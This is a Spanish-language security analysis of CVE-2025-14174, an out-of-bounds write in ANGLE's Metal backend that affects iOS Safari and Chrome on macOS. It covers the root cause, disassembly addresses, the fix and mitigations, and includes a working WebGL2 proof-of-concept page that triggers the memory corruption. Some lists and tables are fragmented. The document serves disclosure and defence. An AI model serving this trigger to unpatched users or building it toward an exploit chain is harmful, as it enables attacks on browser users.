
Análisis y PoC para CVE-2025-14174 - escritura OOB en ANGLE Metal (iOS Safari, macOS Chrome)
Análisis técnico y prueba de concepto para CVE-2025-14174
| CVE | CVE-2025-14174 |
| Gravedad | Alta |
| Explotado ITW | Sí: ataques dirigidos a iOS < 26 |
| Afectados | Safari en iOS, Chrome/Chromium/Electron en macOS (no Safari en macOS) |
| Estado | Parcheado en el commit 95a32cb de ANGLE |
| Créditos | Apple, Google Threat Analysis Group |
Según Apple, CVE-2025-14174 fue explotado como parte de un "ataque extremadamente sofisticado contra individuos específicamente seleccionados" en versiones de iOS anteriores a iOS 26.
La cadena de ataque incluía:
Existe una vulnerabilidad de escritura fuera de límites (OOB) en el backend Metal de ANGLE al cargar texturas de profundidad mediante un búfer de staging. El tamaño del búfer de staging se calcula usando GL_UNPACK_IMAGE_HEIGHT en lugar de la altura real de la textura. Cuando UNPACK_IMAGE_HEIGHT < height, ANGLE asigna un búfer de tamaño insuficiente y posteriormente escribe height filas en él, causando una corrupción de memoria de la GPU en el proceso del renderizador.
Esta vulnerabilidad afecta a las aplicaciones que usan el backend Metal de ANGLE para WebGL:
Safari en iOS está afectado. En iOS, WebKit usa ANGLE como backend de WebGL, lo que hace vulnerables a Safari en iPhone y iPad.
Safari en macOS NO está afectado. En macOS, Safari usa la implementación nativa de WebGL de WebKit que interactúa directamente con Metal, omitiendo ANGLE por completo.
Chrome en macOS está afectado. Google Chrome ejecutándose en macOS 26.1 parecía vulnerable durante las pruebas, ya que usa el backend Metal de ANGLE para WebGL.
La ruta de código vulnerable existe en la clase TextureMtl de ANGLE (setSubImageImpl / setPerSliceSubImage / SaturateDepth).
| Gravedad | Descripción |
|---|---|
| Confirmado | Escritura del backend GPU/Metal más allá del final del búfer de staging |
Características clave:
NO_ERROR)En la ruta de carga de texturas de profundidad D32F, ANGLE calcula pixelsDepthPitch a partir de GL_UNPACK_IMAGE_HEIGHT y usa este valor para dimensionar el MTLBuffer de staging. Sin embargo, el envío de cómputo posterior (saturación de profundidad) usa la altura real de la textura para la operación, lo que causa una escritura OOB cuando los parámetros difieren.
Para width=1, height=512, UNPACK_IMAGE_HEIGHT=128, DEPTH_COMPONENT32F:
Todas las siguientes condiciones deben cumplirse:
DEPTH_COMPONENT32F (verificado; otros formatos de profundidad también podrían verse afectados pero no han sido probados)PIXEL_UNPACK_BUFFERGL_UNPACK_IMAGE_HEIGHT establecido a un valor menor que la altura real de la texturaGL_UNPACK_IMAGE_HEIGHT está definida por la especificación de GL para afectar a las cargas de texturas 3D/array, no a texturas 2D. Para TEXTURE_2D:
UNPACK_IMAGE_HEIGHT < height para texturas 2DWebGL API
├── gl.pixelStorei(UNPACK_IMAGE_HEIGHT, small_value)
├── gl.bindBuffer(PIXEL_UNPACK_BUFFER, pbo)
└── gl.texImage2D(TEXTURE_2D, 0, DEPTH_COMPONENT32F, w, h, ...)
│
▼
ANGLE (Metal Backend)
├── TextureMtl::setImageImpl
│ └── TextureMtl::setSubImageImpl
│ └── Computes pixelsDepthPitch = rowPitch × UNPACK_IMAGE_HEIGHT
│
├── TextureMtl::setPerSliceSubImage
│ └── mtl::Buffer::MakeBufferWithStorageMode(context, 0, pixelsDepthPitch, ...) ← UNDERSIZED
│
└── SaturateDepth
├── getComputeCommandEncoder()
├── setBuffer(stagingBuffer, index=2)
└── dispatchThreads(MTLSize{width, actualHeight}) ← USES REAL HEIGHT
; setSubImageImpl - compute undersized depthPitch
0x272fa90f4: ldr w8, [x25, #0x10] ; load UNPACK_IMAGE_HEIGHT
0x272fa9100: umull x3, w2, w8 ; depthPitch = rowPitch * UNPACK_IMAGE_HEIGHT
; setPerSliceSubImage - call MakeBufferWithStorageMode with undersized depthPitch
0x272fac5bc: mov x2, x19 ; x2 = size (undersized depthPitch)
0x272fac5c4: bl #0x272ef19bc ; call MakeBufferWithStorageMode
; setSubImageImpl - compute undersized depthPitch
0x22c6d11c0: ldr w8, [x25, #0x10] ; load UNPACK_IMAGE_HEIGHT
0x22c6d11cc: umull x3, w2, w8 ; depthPitch = rowPitch * UNPACK_IMAGE_HEIGHT
; setPerSliceSubImage - call MakeBufferWithStorageMode with undersized depthPitch
0x22c6d461c: ldr x20, [sp, #0x48] ; load depthPitch from stack
0x22c6d4628: bl MakeBufferWithStorageMode
La función SaturateDepth posteriormente envía un shader de cómputo de Metal usando las dimensiones reales de la textura, escribiendo más allá del búfer de staging de tamaño insuficiente.
<!DOCTYPE html>
<html>
<head><title>CVE-2025-14174 PoC</title></head>
<body>
<canvas id="c" width="1" height="1"></canvas>
<script>
const gl = document.getElementById('c').getContext('webgl2');
if (!gl) throw new Error('WebGL2 not supported');
const width = 256, height = 256;
const unpackHeight = 16; // << smaller than actual height
// Create PBO with depth data
const pbo = gl.createBuffer();
gl.bindBuffer(gl.PIXEL_UNPACK_BUFFER, pbo);
const data = new Float32Array(width * height);
gl.bufferData(gl.PIXEL_UNPACK_BUFFER, data, gl.STATIC_DRAW);
// Set the mismatch parameter
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, unpackHeight);
// Upload depth texture - triggers OOB write
const tex = gl.createTexture();
gl.bindTexture(gl.TEXTURE_2D, tex);
gl.texImage2D(
gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
width, height, 0,
gl.DEPTH_COMPONENT, gl.FLOAT, 0
);
// Check for errors (typically returns NO_ERROR despite OOB)
const err = gl.getError();
console.log('gl.getError():', err === gl.NO_ERROR ? 'NO_ERROR' : err);
</script>
</body>
</html>
Resultado esperado en sistemas vulnerables: gl.getError() devuelve NO_ERROR a pesar de que la escritura OOB ocurre en el proceso de la GPU.
El commit 95a32cb de ANGLE corrige la asignación del búfer de staging para usar las dimensiones reales de la textura:
// BEFORE (vulnerable)
ANGLE_TRY(mtl::Buffer::MakeBuffer(contextMtl, pixelsDepthPitch, nullptr, &stagingBuffer));
// AFTER (fixed)
size_t imageSize = pixelsRowPitch * mtlArea.size.height;
ANGLE_TRY(mtl::Buffer::MakeBuffer(contextMtl, imageSize, nullptr, &stagingBuffer));
Además, se corrigió el cálculo de srcBytesPerImage para la operación de blit:
size_t srcBytesPerImage = mtlArea.size.depth > 1 ? pixelsDepthPitch : 0;
Esta vulnerabilidad es difícil de detectar desde JavaScript:
NO_ERROR incluso cuando el error se dispara| Enfoque | Descripción |
|---|---|
| Actualización | Aplicar las actualizaciones de plataforma que contienen la corrección de ANGLE |
| Solución alternativa |
Descubrimiento de la vulnerabilidad: Apple, Google Threat Analysis Group
Análisis técnico: Este informe documenta investigación independiente e ingeniería inversa de la vulnerabilidad.
Análisis realizado como parte del proyecto de investigación de seguridad SpiderWebKit.
| Plataforma | Software | Afectado | Notas |
|---|
| iOS | Safari | Sí | WebKit en iOS usa ANGLE Metal para WebGL |
| macOS | Chrome / Chromium | Sí | Usa el backend Metal de ANGLE |
| macOS | apps Electron | Sí | Usa la implementación de ANGLE de Chromium |
| macOS | Safari | No | Usa el WebGL Metal nativo de WebKit, no ANGLE |
| Confirmado | Reproducible mediante WebGL2 + PBO + DEPTH_COMPONENT32F |
| Plausible | Caída del proceso de GPU o pérdida de contexto bajo presión de memoria |
| Teórico | Corrupción entre recursos en la memoria de la GPU (no demostrada) |
| Parámetro | Cálculo | Valor |
|---|
| Pitch de fila | width * sizeof(float) | 4 bytes |
| Búfer de staging (asignado) | rowPitch * UNPACK_IMAGE_HEIGHT | 512 bytes |
| Envío de cómputo (escrito) | rowPitch * actualHeight | 2048 bytes |
| Escritura OOB | 2048 - 512 | 1536 bytes |
| Función | Dirección | Rol |
|---|
setSubImageImpl | 0x272fa9028 | Calcula depthPitch de tamaño insuficiente |
setPerSliceSubImage | 0x272fac240 | Asigna un búfer de staging de tamaño insuficiente |
MakeBufferWithStorageMode | 0x272ef19bc | Crea MTLBuffer con tamaño incorrecto |
SaturateDepth | 0x272facfa4 | Envía cómputo con dimensiones reales |
| Función | Dirección | Rol |
|---|
setSubImageImpl | 0x22c6d10f4 | Calcula depthPitch de tamaño insuficiente |
setPerSliceSubImage | 0x22c6d4398 | Asigna un búfer de staging de tamaño insuficiente |
MakeBufferWithStorageMode | 0x22c619490 | Crea MTLBuffer con tamaño incorrecto |
SaturateDepth | 0x22c6d5144 | Envía cómputo con dimensiones reales |
Evitar establecer UNPACK_IMAGE_HEIGHT menor que la altura real para texturas de profundidad |
| Defensa en profundidad | Usar cargas de tamaño fijo donde UNPACK_IMAGE_HEIGHT == height |